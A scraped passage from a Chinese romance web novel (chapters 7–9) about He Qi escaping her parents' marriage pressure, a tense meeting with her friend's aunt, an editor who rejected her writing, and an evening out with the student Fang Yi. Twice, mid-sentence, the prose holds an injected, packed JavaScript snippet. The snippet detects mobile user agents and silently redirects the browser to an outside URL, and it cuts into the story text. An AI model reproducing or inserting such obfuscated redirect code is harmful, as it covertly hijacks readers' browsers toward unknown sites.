李乐一闻言还以为自己今天可以大开眼界,全神贯注地看着球桌变化,搓着手期待精彩的对局。 十分钟后,李乐一也不说话了。 他觉得方翊在他眼前堂而皇之地放了一片海,还把自己放到了。 打进黑八,赢下比赛的何漆有点儿尴尬地看了一圈周围,特别是才说过“方翊在我们这儿没输过”的李乐一。 李家佳带着一副憋笑到极点的表情走到何漆身边,拍拍她的肩,在她眼前比了个大拇指:“厉害厉害。” 何漆趁机悄悄拧了一下她,没用力道。 李家佳没忍住大笑出来,心里却明了,挽住她的手臂,对李乐一道:“那什么,我跟何漆下午还有事儿,就不打扰你们跟朋友玩了。” “别啊。”李乐一挽留,“我这儿好多朋友还没跟你介绍呢。” 李家佳不听他的,牵着何漆就要开溜:“我俩真有事儿,反正你们好好玩啊。” “好吧。”李乐一像小学生似的同两个姐姐挥手,“表姐再见,何漆姐再见。” 何漆觉得这小男孩乖得稀奇,对他点点头,然后,视线转到另一边。 方翊不知撑着球杆盯了她多久,此刻终于等到她看过来,露出弯弯笑眼,也有样学样地对他挥手: “姐姐,下次见。” 何漆没做表示,转身走了。 从台球厅出来,李家佳就一直用探究的目光看着何漆。 何漆被看得受不了,知道她有话要问,主动道:“干嘛?” 李家佳开门见山:“你后来跟方翊在微信上又聊过了?” “没聊,他来问候了两次。”何漆说。 “那你们今天怎么看起来有点熟?” “是我上次出去和张心怡吃火锅,我跟你说过的,公司里那个小同事,吃完饭跟他在咖啡店碰到了。” “这么巧?”李家佳惊讶。 “是啊,他在同大读书,那天吃饭正好在附近。” 李家佳讳莫如深地点头:“偶遇三次了,有缘。” “有什么缘。”何漆睨她一眼,“今天不是你叫我来的。” 李家佳大喊“冤枉”:“我又不知道他也在,你这样说话我可无颜面对江市姐夫了。” 何漆嗤笑一声,懒得和她瞎扯。 两人走进电梯,李家佳换了个话题:“对了,你几号回去?我跟你一起走。” “我应该四号吧。”何漆说,“我叫陈津来接我或者打车就行,你家里又不催婚,那么早走干嘛?” 李家佳顿时露出一个生无可恋的表情。 何漆看出不对,疑惑:“你现在连男朋友都没谈,你爸妈也能催婚?” “相亲啊!”李家佳用头磕了两下电梯壁,“他们给我找了个家里也是开厂的男的,叫我见一面就赶紧定下来。反正我四号下午排了课,早点溜吧。” 还真是家家有本难念的经。 何漆表示感同身受的同情:“行,那你到时候载我回去。” 电梯打开,两人又回到一层,外面的秋风越来越萧瑟,何漆问:“接下来去哪儿?” “去按摩?”李家佳指了指旁边的一家美容院,“我妈在那儿办了卡。” “但我晚饭得回去。”何漆说,“小燕子做了饭等我呢。” 小燕子说的是徐燕,这还是当初李家佳给取的诨名,何漆觉得有意思,偶尔也用。 李家佳“咯咯”乐了两声:“成,绝对不让小燕子久等。” 7. 第 7 章 两人从美容院神清气爽地出来,赶在饭点前各回各家。 一开门依旧是诱人的香气,徐燕做了一桌子的菜,何云平坐在饭桌前,也没看手机,却连进厨房拔双筷子也不肯。 何漆瞥了眼餐桌边迈不动腿的男人,一言不发地进厨房帮忙,拿碗筷盛饭,帮着把切菜板和台面收拾干净。 徐燕笑眯眯地把最后一碗鱼盛进盘子里,叫何漆端出去:“你爱吃的鲫鱼,小心烫。” 何漆仔细地捏住长盘的两端,对徐燕道:“妈,明天你别做饭了吧,我们出去吃,或者点外卖。” “明天中午你爸不回来,隔壁阿姨叫我去打麻将,你自己点外卖吃,晚上我再回来烧。”徐燕边刷锅边道。 何漆闻言不再说什么,默默把菜端上餐桌。 何云平眼看终于能跟女儿说得上话,问她中午去吃了什么,何漆只说火锅,一家人很快坐下来一起吃饭。 刚开始饭桌上的气氛还算融洽,可吃到一半,徐燕言语间又开始提到陈津,何漆内心顿时警铃大作,嘴上一边敷衍着,一边猛猛咀嚼。 她吃东西一向算慢,这会儿心急,没多少功夫竟也塞下了一整碗的米饭。 随后“腾”一下站起来,说句“我吃饱了”,自顾自将碗筷放进厨房的洗碗机里。 徐燕和何云平面面相觑,一个难受地抿了抿嘴,一个不满地高哼一声,用余光看着他们的女儿快步回了房间,轻轻关上门。 何漆倒在床上,一直玩手机到深夜。 第三日,徐燕和何云平一上午都不在家,何漆睡到十点左右苏醒,洗漱完给自己点了份麻辣烫,和李家佳聊聊天,度过无比愉快的宅家时光。 到了下午,她估摸着两人回家的时间,听见楼道里传来有人上楼的动静,果断从客厅跑回房间。 没一会儿,大门就开了。 是徐燕买了菜回来准备做饭。 她洗了点水果送到何漆的房间,看到何漆坐在椅子上玩手机,把果盘递过去,温声道:“先少吃点,妈妈马上做饭了。” 何漆说“好”,拿了颗小番茄塞到嘴里。 何云平回家的时候,何漆刚从厨房里把菜端出来,她都怀疑这男人是不是装了什么雷达,总能在餐桌准备齐全的时候施施然出现。 三人在餐桌前坐下,今天徐燕做的菜就明显少了些,不再有什么难处理的大鱼大虾,一个水蒸蛋,一盘炒四季豆,一碗土豆炖排骨,还有一碟给何云平下饭用的腐乳。 都是家常菜,但很对胃口,何漆舀了勺蒸蛋,吹了半天,还是在入口的时候被烫了一下。 舌尖又痛又麻。 对面的何云平从进家门起就没什么好脸色,不知在谁那里受了气,等着发作。 果不其然,饭桌刚安静片刻,他就忽然沉声开口:“陈津这次怎么不来?” 何漆心里极重地“噔”了一声,像是电脑宕机,她目光下移,夹了几粒米饭:“说了工作忙,公司就放两三天假。” 何云平不满地皱眉,嗓门高起来:“礼也不见带一个?你们这些年轻人,真是!” 靠。何漆内心骂道,怎么都绕不过这关了是吧?带也要说不带也要说! 在她想好理由之前,徐燕先开了口:“陈津一直很有礼数,之前见面给他的红包才多少,他给了我们多少?你女儿你还不了解,肯定是她不要带,省的被我们说。” 知女莫若母,何漆哑口无言,同时有点被戳穿的恼怒。 “孤老头相。”何云平用县城方言骂了一句,嗦了口蒸蛋,“不知道像谁。” 这话徐燕不爱听,瞪着何云平道:“一个小孩也就一爹一妈,你说她随了谁?” 陶瓷勺子“砰”一声扔在桌上,何云平眉毛倒竖:“我可没跟家里说过一辈子不结婚!” 何漆额角一抽又一抽,心情霎时降到极点,胃里也隐隐泛起点不适,半点胃口都无,起身要走。 何云平气得脸上的肉都在抖:“成什么样子了?说两句就要走!你不要以为自己在外工作赚钱了就成家里的老大了!” 何漆原本是要回房间,闻言直接朝大门的方向走去。 徐燕看到这一幕,眼里顷刻有了泪光,在后头喊道:“漆漆,你要听爸爸妈妈的话!我们难道还会害你吗……” 她话到一半,何漆就干脆地穿好鞋关上门了,可惜老小区的隔音太差,隔着薄薄的一扇门,那些话仍旧准确无误地落进何漆耳朵。 还有摔筷子的声音、女人的抽泣。 何漆背对着那些,吐了口气,一步一步走下楼。 在单元楼门口站了会儿,怕徐燕追下来,何漆决定先去小区去年刚翻新的公园里逛逛,同时给李家佳发去不幸的消息。 「我又离家出走,逃了。」 不到三秒,对面就弹过来个语音通话。 何漆接了,那边背景音有点嘈杂,听起来像在聚餐。 李家佳嘴里似乎在吃东西,口齿不清:“啥情况,又吵了?” 这个点外头挺冷,何漆在家里穿得少,忽然立于寒风中,抽了抽鼻子觉得好倒霉:“嗯,你在吃饭?” “家庭聚餐,露天烧烤。”李家佳说,“我叫李乐一和那谁来接你,不堵车的话十五分钟到吧。” “那谁?”何漆抓了个重点。 李家佳装没听见:“小区北门口,等着啊。” 随后果断挂了电话。 何漆又发消息过去,对面只装傻,问她想吃什么,自己现在烤起来。 没办法,何漆只好带着疑问在公园里转了一圈,等过了十分钟左右的样子,再慢慢走去北门。 刚走出门卫,手机里就又弹进来一个语音通话,她想李家佳大概会让李乐一开她的车出来,所以专心找着粉色宝马,不料竟在路边看到一辆停靠着的SUV,定睛一看,还是揽胜。 何漆抬了抬眉,心说这是小区里的谁家小孩,这么有出息。 然而手机还在手里响个不停,她不得不停止探究,目光下移一段,却在看清来电显示人时又惊了一跳。 方翊? 方翊怎么会在这个时候给她打语音? 冷风一吹,何漆的脑子几乎冻住,不解地按下接通键,把手机凑到耳边。 于此同时,几步远外的揽胜忽然毫无征兆地开到她面前,驾驶座的车窗降下来,露出一张年轻俊朗的脸。 方翊一条手臂架在车窗上,手里同样拿着手机,视线直勾勾地盯住何漆。 他的嗓音从两个方向传来,在何漆周遭环绕,她清楚地看见他说话时嘴角上扬的角度。 “姐姐,我来接你了。” 她尚未将这画面的逻辑理顺,后座的车门立即从里面打开,李乐一探出脑袋大声招呼:“何漆姐!快上车!” 何漆顺从而茫然地进了后座。 车里比外头暖和一些,冻僵的大脑也逐渐恢复思考,方翊将车子掉头驶回主干道,见何漆穿得单薄,默默把暖气打开。 “不是说家庭聚餐吗?”何漆瞄了眼驾驶座上的人,转头问李乐一。 李乐一点头答:“是家庭聚餐,方翊是我们家的编外成员,你是我舅家的编外成员。” 何漆没料到是这么个回答,轻轻吸了下鼻子,转念又想起什么:“对了,那你妈妈是不是也在?” “我妈?”李乐一眨了眨眼,想不通何漆跟他妈李秀兰能有什么交集,最后认为大概是从李家佳那儿听到过什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059432|194988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“在啊。”他理所当然道,“没事儿,你跟紧家佳姐就行,她俩吵架胜率五五开。” 何漆听完噎了一下,略感无语地看他一眼。 李乐一是个不折不扣的自来熟,和人什么话题都能聊,刚在何漆这儿大倒李家佳把他当奴隶使唤的苦水,转头又拍了拍座椅说起别的: “何漆姐,方翊这车不错吧?我可求了好久想让他带我兜兜风,正好赶上今天烧烤,他才肯开车来帮忙,还是姐你运气好,一来就坐上了。” 这车还真是方翊的,何漆诧异地朝主驾驶投去一眼,心想,看来这位也是半个富家子弟。 她如实答:“是挺好的。” 方翊没说话,从后视镜里看了眼后排。 总共二十来分钟的车程,李乐一几乎全程都在讲话,吵完何漆又烦方翊。 何漆还算事事有回应,方翊大概是刚拿完驾照不久,开车得专心,回得就比较少。 车子驶入偏郊区的地带,这一块有很多自建的独栋小别墅,何漆记得李家佳父母就在这里有房子,小别墅带前院,确实适合露天烧烤。 方翊把车停好,三人下车,往最近的那栋房子走。 刚靠近就闻到一股烟火味,院子里支着两个烧烤架,李家佳站在其中一个烤架前,左手握着一串大鱿鱼不顾形象地吃,右手拿着一把肉串极其潦草地烤着。 她显然是赶鸭子上架的临时工,见三个人都来了,立马把半生的串一扔,拿上盘子里的另一串大鱿鱼走过来。 “给你烤的,快吃。”李家佳不客气地把鱿鱼塞到何漆手里。 李乐一见状瞪大了眼,被踩着尾巴般发出嚎叫:“姐!说好烤完给我吃的!” 李家佳慢悠悠地掀去一眼,满脸写着“你不服?” 何漆却没有要跟十八岁男生抢烤鱿鱼的意思,递过去:“我不是很饿,况且本来就是你的。” 李乐一被何漆温和地看着,一下成了哑炮,支支吾吾半天,只憋出句:“我开玩笑的漆姐,你吃吧,我去烤串。” 说完,像是觉得自己刚刚的行为太丢人,一下溜没了影。 没办法,何漆只好带着一大串鱿鱼去跟同样在烧烤架边上的李家佳父母打招呼。 李家佳父母人都和善,跟何漆也已经很熟,寒暄了几句,给她一把刚烤好的串,就让她跟李家佳到一旁聊天去。 李家佳吃掉大半串鱿鱼,又从何漆手中抽走一串肉,嘴边上沾满烧烤酱,架势像流氓,问:“你爸妈又催婚了?” 何漆想了想:“不知道算不算催,纯数落我?反正我有经验,再不走肯定要吵了,我就跑了。” 李家佳痞里痞气道:“小燕子要伤心了。” “小燕子哭了。”何漆说。 李家佳觉得不算意外:“小燕子爱哭。” 何漆垂眼挑了串蔬菜,小口吃着,呼吸变得很缓,脑子里有几个画面挥散不去——徐燕特意给她□□吃的鱼,小心翼翼地装盘:徐燕把洗好的水果送到她房间,叮嘱她少吃点:徐燕含着泪喊她,说自己都是为她好。 何漆乏力做着咀嚼的动作:“我有时候都分不清,到底好的才是她,还是坏的才是她。” 李家佳知道她现在难过,可能钻进牛角尖了,拍拍她的屁股:“这种话别对小燕子讲,听了要更伤心的。” 何漆幽幽叹出口气。 她是真的分不清,就像何云平偶尔对她好时她就能够辨别,那是他在试图演一个好爸爸。 李家佳的手还在有规律地拍她臀部,何漆猛地转头:“你在擦手是不是?” “没有啊。”李家佳秒收起手,忽然想到什么,拉着何漆转了个身。 “我姑也在,我带你去见她。” 8. 第 8 章 刚刚在车上还问过李乐一这事儿,真到了地方被一打岔就给忘了。 何漆被李家佳拉着往另一边的草坪走,心里头直打鼓,想着还是得先跟她说一声自己现在和李秀兰的情况。 可要是眼下告知李家佳自己早被李秀兰狠狠拒之门外,依她的性子,必然不懂委婉为何物,说不准一上去就要替何漆讨个说法。 这下真是进退两难。 何漆正犹豫着要怎么开口,李家佳却忽然兴奋地小跑起来,风风火火地拽着她在草坪角落的一张桌子边坐下。 这地方跟烧烤架隔了很远,空气清新得多,但同时也是院子里最冷清的地方。 何漆抬眼,猝不及防和桌对面的中年女子对上视线。 李秀兰和她想象中长得差不多,人极清瘦,短发过耳,鼻梁上架着一副小框眼镜,看人时目光犀利又带着一种莫名的轻蔑,跟和善挂不上边。 何漆被那一眼看得有点发怵,尴尬地抿了抿唇。 李家佳却表现出一种极大的热情,往李秀兰那儿凑了凑,向她介绍:“姑姑,这就是何漆,漂亮吧?” 桌上摆着一盘烤好的串,看起来已经冷了,烤盘被推得离李秀兰的座位很远,她大概不爱吃,只端起茶杯喝了一口茶水,淡淡道:“漂亮有什么用。” 何漆面色一僵。 李家佳虽然对李秀兰的贬低已经见怪不怪,但没想到她对自己的朋友也是厌屋及乌,不留半点颜面。 她显然火气已经上来了,表情很难看,顾念何漆在场,努力忍着,故意较劲:“她确实不光漂亮,还是江大的高材生,文章写得也厉害。” “厉害?”李秀兰像是冷哼了一声,不耐地皱了皱眉,一字一顿地喊她的名字,“李家佳,物以类聚人以群分,在我看来你俩没什么区别,半斤八两。” “嘭”一声巨响,李家佳站起来踹倒了椅子,胸口起伏,同样愤怒地从鼻腔里哼出一声,指着李秀兰破口大骂:“你少给我在这儿傲了!上学的时候没人说过她半句不好!你倒是在这儿摆老师的谱,我呸!” 她踹椅子骂人的动静不小,院子另一边的几个人看过来。 何漆被李家佳这反应吓了一跳,觉得自己好像被架在火上烤,一把拽住她的手腕,强硬地把人拉到自己身后。 没了李家佳的遮挡,她和李秀兰直直对视着。中年女子的眼皮很薄,轻慢地眨眼时仿佛能扇过来刺人的风。 何漆咽了咽口水,语速快,语气轻但坚定:“李老师,先前浪费过您的时间我很抱歉,对待投稿的态度不够负责,没能抓住您给的机会也是我的问题,但我认为你大可不必牵扯到李家佳身上,我作为她的朋友是能力不足,却不代表她是什么样的人。” 维护李家佳是出于本能,何漆这会儿确实有些急了,说出口的话甚至没怎么经过思考,呼吸急促起来,身体被冷风吹着反而隐隐发热。 李秀兰在这场对峙中保持着漠视的冷静,此刻不咸不淡地掀起眼皮,好似用正眼瞧了她一回,很快又不在乎地喝起了茶水:“何漆,我劝你直接放弃对创作的幻想。” 李家佳闻言又在后面骂着爹啊娘啊的,何漆牢牢控住她,不卑不亢:“李老师,我有我自己的选择。” 风越来越大了,炭火的烟吹过来一些。 李秀兰拢了拢肩上的围巾,将头缓缓扭到另一边,似乎是不想闻到烟味,也可能是不想再看见这两个人。 就在这时,方翊端着一盘刚烤好的烤串走了过来。 他先是扶起倒在地上的椅子,像是没注意这里刚刚发生过什么,把烤盘放在桌上,对李秀兰道:“李阿姨,乐一说你不太爱吃肉类,特意烤了盘蔬菜给您。” 李秀兰这才微微转回点头,对方翊的态度也不算太热络:“放这儿吧。” 李家佳看见她那副清高样儿就来气,嘴里骂骂咧咧地咕哝了两句,毫不犹豫地转身就走。 何漆还牵着她的手腕,自然也跟着离开了。 她原本以为李家佳只是想换个看不见李秀兰的地方,谁知这姑娘一不做二不休,跟父母打了声招呼,直接带着何漆走出了院子。 何漆感到惶恐难安,觉得都是因为自己才会惹出这样的事,要是自己没给李家佳打那通电话,也不至于把她的家庭聚会搞成这样。 走出几步远后何漆站定,愧疚道:“这都怪我。” 李家佳闻言立即瞪眼皱眉,一副不可思议的表情,但目光飘移了一瞬,像看到什么,暂且把情绪收了起来。 何漆顺着她的目光转身,竟然看到了跟出来的方翊。 “你怎么也出来了?”何漆问他。 方翊手臂上挂着自己的外套,刚刚在烤架边帮忙,袖子卷起一截还没来得及放下:“家佳姐的车不是送去保养了吗?你们要去哪,我送你们。” 李家佳没同他客气,真把他当自家表弟使唤起来:“你去把车子开过来吧,我跟何漆说两句。” 方翊应好。 看他识趣地走远,何漆就接着刚刚的话说:“是我没提前告诉你,我前段时间投过一次稿,写得不行,被你姑姑拒绝了,今天连累你帮我出头。” 李家佳愤愤地一挥手,怒道:“说什么呢,这是我的锅!” 她眼睛朝一旁看去,似乎不想提及这事儿,但在何漆面前也不愿多遮掩,语气比先前冷了很多: “李秀兰一直都挺瞧不上我家的,觉得我爸没文化就是个暴发户,又觉得我读书不行跑到国外水文凭,我还以为她这种文化势利眼,会对你好一些,唉反正都赖我!对她还抱有幻想,觉得好歹是我的朋友……算了,你才受我连累,她这边走不通,我还找不到别的门路吗?” 越讲越偏了,何漆哭笑不得地制止她:“我自己写得不行,找再多门路也没用。” “谁说你写得不行?”李家佳又恢复那种义愤填膺的气势。 “你都没看过,怎么知道我写得行?” “我怎么没看过?你高中写得那些我倒背如流!” “得得得,别提了……” 何漆与李家佳之间存在时间最短的情绪就是愧疚,因为一旦被对方察觉,就会以各种插科打诨的方式让它翻篇。 揽胜已经开到面前,何漆打开后座车门,扭头问李家佳:“你爸妈该怎么看我啊?一来就让你跟亲姑姑大吵一架,还把你给拐走了。” 李家佳推着她上车:“你不来我也会跟李秀兰吵,况且你在我爸妈眼里就是三好学生,成绩好、工作好、老公好,倒是你爸妈怎么看我,天天带你吃喝玩乐的不良分子?” 何漆坐上车,笑道:“也是三好学生啊,长相好,家境好,性格好。” 车门合上,两人在后座挤成一团,完全把方翊当司机。 方翊也没意见,毕竟他原本就是心甘情愿来当司机的,伸手调整了一下后视镜,看到何漆罕见的开怀笑容,无意识勾了勾嘴角,问两人:“我们去哪?” 李家佳道:“先往市区里开吧,找个吃饭的地方,老娘今天得吃个万把块的。” 何漆笑了笑,垂眼打开手机看消息,漫不经心道:“我偷陈津的钞票养你啊。” 李家佳猛地正色:“告诉姐夫,我不是来破坏你们的,我是来加入你们的!” 后方的打闹声传过来,方翊整个人一滞,险些踩错刹车。 - 三人最后选了家在宁市口碑不错的日料店,仿佛把一整天的好运气都提前留在了这,国庆高峰期,竟正好有一桌预留包厢的客人临时来不了。 李家佳听闻这个消息,刚走进门口就开始向服务员点菜,生怕有人抢先她一步。 等进了包厢,海鲜刺身的各种菜名已经在她嘴里轮过一遍,接下来要开始轮寿司类。 包厢里开了一点暖气,何漆冻了好久的身子终于暖和起来,接过服务员递来的菜单本,认真看着。 她点菜显然比李家佳务实得多,指了几份招牌推荐的锅物、铁板,怕再多的也吃不下,就把菜单给方翊,让他点喜欢的。 刺身类上菜快,很快摆满半桌子,李家佳像是要把少吃到的烧烤全在这儿补回来,恨不得一口塞两块三文鱼。 她一边吃,一边还有空闲跟方翊聊聊天: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059433|194988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “李乐一被一个人留在那儿,估计要羡慕死我们了,又能坐你的路虎,又能吃日料,还不用被人在耳边唠叨。” 方翊笑着赞同,夹了块三文鱼,往上面抹了份量偏多的芥末。 “反正今天谢谢你了,我那车4S店明早才能给我送回来。”说起车,李家佳好奇问,“你那辆是家里给买的?” 方翊说是。 李家佳长长“哦”了声:“我还以为你们十八九岁的男生会更喜欢跑车呢。” 方翊没反驳,淡淡笑道:“我都挺喜欢的。” 何漆一直在边上专心吃饭没插话,听到这句才有所反应地弯了弯嘴角,觉得他的言外之意是“我都有”。 方翊不像她们印象中的某些男生,聊起车来像个专家似的,头头是道、没完没了,也没有把这些当作炫耀的谈资。 整顿饭下来他甚至略显乖巧,说话不多,李家佳问他便答,偶尔向她俩抛个话题,拿捏着尺度分寸。 作为“表弟式”的人物,大概找不出比他更讨喜的了。 这顿饭吃得颇久,李家佳更是报复性地敞开肚皮,光抹茶布丁就已经点了五份,这会儿吃懵了,瘫在椅子上放空了半晌。 何漆闷得难受,站起身,说要出去上厕所。 她在外面透了会儿气,从卫生间洗手出来,顺便去前台打算结账。 报了包厢号,付款码都已经调出来,前台却告知他们包厢已经买过单了。 何漆一愣,问谁买的。 前台说是一个男生。 何漆心里微微惊讶,转身快步往回走,推开包厢门的同时问道:“方翊,你买单了?” 李家佳还在享用最后一份抹茶布丁,闻言震惊地抬头:“方翊?你干嘛!使唤了你一天我就等付钱的时候赎罪呢!” 方翊放下手里的茶杯,冲两人一笑:“今天姐姐心情都不太好,就不让你们破费了。” 何漆简直不知道该说什么,走到自己座位旁边,也不坐下,饭后站着助一助消化,扭头与李家佳对视一眼。 她们谁都没想让一个小她们那么多,还是个学生的男孩来买单。 李家佳感到不好意思:“真是的,方翊你这样,搞得我们两个姐姐很不称职啊。” 何漆在一旁点头。 “我买单,姐姐只要谢谢我就好了。”方翊笑眼弯弯地四两拨千斤,很快转移话题,“我们接下来去哪?” 李家佳看着桌上因为不太好喝还剩了半瓶的清酒,瞬间展露酒鬼属性,贼兮兮地问:“去喝酒,行不行?” 何漆清楚她没有酒精就过不了日子的德行,无奈但同意,方翊自然不会有意见,爽快地先出店去开车。 她们离开日料店时,外头天已经黑了。 太阳一落,温度骤降,何漆出门只穿了一件T恤和修身的卫衣外套,面料薄,抵御不了半点寒风。 两人在店门口商量,出于对方翊买单行为的尊重,决定不再把他当司机,车开到跟前,何漆上了副驾。 李家佳则依旧爬上后座使唤人:“方翊,给你何漆姐姐把暖气开高点,她冻坏了。” 方翊照做,扭头看何漆正在摸索安全带,问:“我们去哪家酒吧?” “听李家佳的,她门清。”何漆终于扣上带子,抬头道。 后排的李家佳脸上映着手机屏幕的亮光,万分认真:“我再筛选一下,先往东胜路开吧。” 李家佳最终精挑细选出来的清吧离日料店有点距离,方翊见车上两人不怎么说话,便开了点车载音乐。 何漆觉得是自己寿司和汤汤水水的吃多了,眼下升糖,止不住地犯困。 暖气让呼吸有点闷,她把车窗开了极小的一条缝,单手支着脑袋,倚靠在车窗上,闭眼眯一会儿。 方翊开车时格外专注,不怎么觉察周遭的环境,直到等红绿灯时才想起车上已经安静了好一会儿,除了音响还在震动。 他扭头,看到副驾的车窗映着路边的夜景,而在那璀璨的光亮前,何漆似乎浅浅地睡着了。 一切在方翊眼里,有种难以言喻的恬静。 9. 第 9 章 “她是不是睡着了?” 李家佳坐在后排的正中央,身体前倾,一手托下巴,不知何时也跟方翊一起看着何漆的睡颜。 方翊被她的突然出声惊了一跳,正想假装淡定地扭回头。 却见何漆睫毛颤了颤,闭着眼懒懒开口:“放心,没睡呢。” 说完,她缓缓睁开眼,适应车里的光线。 方翊以最快的速度,在察觉何漆有睁眼的趋势时就立刻转回头。 视线里满满地只剩下正在倒数的红灯,不敢留有半点关于何漆的痕迹。 他努力做出态度自然的样子,心脏的跳动声却响过低频的车载音乐,跟着红灯一闪一闪地晃。 他双手紧紧抓着方向盘,盯着黄灯跳转为绿灯,不懂自己在搞什么。 路边的景色又开始倒退,李家佳还维持着先前的姿势,若有所思般用手指一下一下敲着脸颊,和何漆有一搭没一搭地聊起来。 三人抵达酒吧时,夜色渐浓,又是长假期间,店里的生意十分火热。 门口长相清秀的男侍应生告知还有空余的散座,领着他们进店。 酒吧里似乎没开暖气,温度不如日料店里舒适,何漆穿得薄,手臂紧紧挽着李家佳,这儿身子有点打颤。 方翊走在她后面,将她缩了缩脖子的动作看在眼里,找准时机垂头轻声问:“姐姐你冷吗?我把外套……” “不用。”何漆连忙摆手制止他脱外套的动作,“你里面穿得也不厚。” 侍应生注意到他们的动静,微笑提醒:“前台可能会有毯子,如果喝酒的话很快就会暖和。” 何漆道了声谢。 方翊闻言只好作罢。 三人被领到一处散座,李家佳拿着酒单点酒,先替何漆要了杯热巧克力,又想着自己明天还得开车回江市,克制地没点多少。 何漆则用手指点了点她的肩膀,说自己去趟吧台。 吧台前的座位上零零散散有些客人,何漆靠近,问正在shake的调酒师有没有可以保暖的毯子。 调酒师让她稍等一会儿。 何漆便在吧台前坐下,发现边上摞着好几盒桌游,选了副大富翁,问这个是要买还是可以借。 调酒师刚把上一位客人的酒调好,告诉她可以免费借玩,同时把一杯蓝色的特调推到她面前:“送给你,女士。” 何漆惊讶地看向调酒师,后者转身从一个柜子里拿出折叠成方块的毯子:“小心着凉。” 何漆道谢接过,将毯子抖开,是个很宽大的类似于披肩的针织毯,检查一番觉得挺干净,索性披在了肩上。 随后一手拿上大富翁,一手拿酒,再次向调酒师道谢,走回了他们的散座。 何漆回来时桌上已经摆满了各种饮品和小食,她弯腰把桌游和那杯特调放在桌子上,披肩落下来一点,她伸手拢回来,在李家佳身边坐下。 “我们来玩这个吧。”她打开大富翁道。 “你是小学生啊。”李家佳看到她拿回来的东西吐槽了一声,但对那杯蓝色的特调却挺感兴趣,凑近闻了闻,问她,“点的什么酒?” “不知道。”何漆把地图摊在桌上,“调酒师送的,我就拿回来了。” 李家佳闻言却突然发出一阵大笑,整个人也前仰后合的:“人家送你酒是想趁你在吧台喝酒的时候跟你聊聊吧?你怎么直接把酒拿回来了!” 何漆有些莫名,一时拿不出盒子里还藏着的棋子和卡片,低头专心拨弄:“这样吗,他也没说。” 李家佳笑得瘫在座位上,方翊在桌对面,眼神似乎也擒着一点笑意,他身体倾过来,把热巧克力放到何漆面前,接过她手里大富翁的盒子道:“姐姐,我来吧。” 没一会儿,桌游的配件都准备齐全,何漆从手边的骰子盅里拿了个骰子,三人石头剪刀布来决定掷骰顺序。 李家佳嘴上嫌弃,玩起来倒比另外两人还兴奋,就是这局运气实在差,已经走了大半轮,不是罚款就是交税,还跟在何漆和方翊屁股后头,一直踩他们的房产给俩人散财,自己没买上半处,差一点就要破产。 好在真的破产之前,她抽到了一张不错的命运卡,从何漆和方翊那儿各薅了几张,总算守住底裤。 拿着手里仅剩不多的游戏币,李家佳也能得意地翘起二郎腿,对何漆道:“老娘现在要转运了,你俩等着被我踩在脚下吧!” 何漆扔出骰子怼她:“你先买到地再说。” 接下来半局游戏还真就像李家佳说的那样,她像是“转了运”,接连抽到不错的命运卡和机会卡,也买了房产收上过路费,手里的钱开始赶超另两人,这可把她得意得不行。 不过何漆拿来的这版大富翁地图较大,可玩性强,三人陆续破财又收钱,一时半会还看不出谁能获得最终的胜利。 骰子回到方翊手上,其余两人都紧盯着。 他抬手轻抛的瞬间,何漆放在桌上的手机忽然响起电话铃,掩盖了骰子落在桌面的声响。 “你爸妈来催你回家了?”李家佳边问边探头,看到来电备注上的名字,发出了起哄般的“哦哦”声效,“原来是姐夫查岗。” 何漆拿起手机接了电话,稍稍把头扭到一边。 对面似乎听到她这儿有些嘈杂的背景音,问:“在外面?” 何漆尽量小声道:“嗯,跟李家佳在外面喝酒。” “你们两个人?”陈津嗓音带哑,还隐约有键盘敲击的声音,果然放假在家仍是工作了一整天。 “三个人,还有李家佳表弟。”何漆说。 李家佳离她近,闻言扭头看她一眼,没说什么。 陈津又问:“明天回来?我去接你?” 何漆手指拨了拨毛毯上的一处线头:“不用吧,李家佳明天也回了,她开车。” “她开车?不是说在喝酒?” 何漆听到这问句,忍俊不禁地着看向李家佳,心里不免好笑,连陈津都知道李家佳这酒鬼属性。 “她忍着呢。”何漆解释,“喝得比我都少,可能就两瓶啤酒,明早再看看吧,不行就等到下午。” 反正她绝不要陈津来接,绝不要给她父母见到陈津当面催婚的机会,绝不要。 对面沉默了一会儿,连键盘的声音都消失了,半晌陈津才说“好”,和她挂了电话。 何漆刚要放下手机,微信里却又收到新消息,是徐燕发来的,问她什么时候回家。 她看着消息栏在桌面顶端弹出又消失,没有及时点进去,一颗心沉沉的,很烦。 李家佳在旁边瞄到了一眼,立即把注意力转回到大富翁,看到桌面上方翊早已扔出的骰子,朝上的那面只有圆圆的一个大红点。 “一。”李家佳找到他的棋子,想看看往后一格是什么。 两秒后,她毫无征兆地爆发出一阵令附近其他客人都投来视线的大笑,李家佳不顾形象地拍着沙发:“方翊你完蛋了!你要栽何漆这儿了!” 原来,方翊棋子的后一格正是何漆的地产,并且上头已经盖了两座红色的大酒店,过路费可想而知的昂贵。 何漆听见这动静,迅速给徐燕发了“晚点回”三个字,果断将手机倒扣一边不再理会,抬眼看到方翊正苦笑着数钱。 她转而去瞧地图,瞥见那个红点朝上的骰子,意识到发生了什么,也不免淡淡笑起来:“李家佳你幸灾乐祸什么?下一个付我过路费的就是你。” 李家佳拿走桌上的骰子,放进两手鼓起的掌心间,开始天灵灵地灵灵:“你别瞎咒我,来个四来个四,正好有钱把这房子升级。” 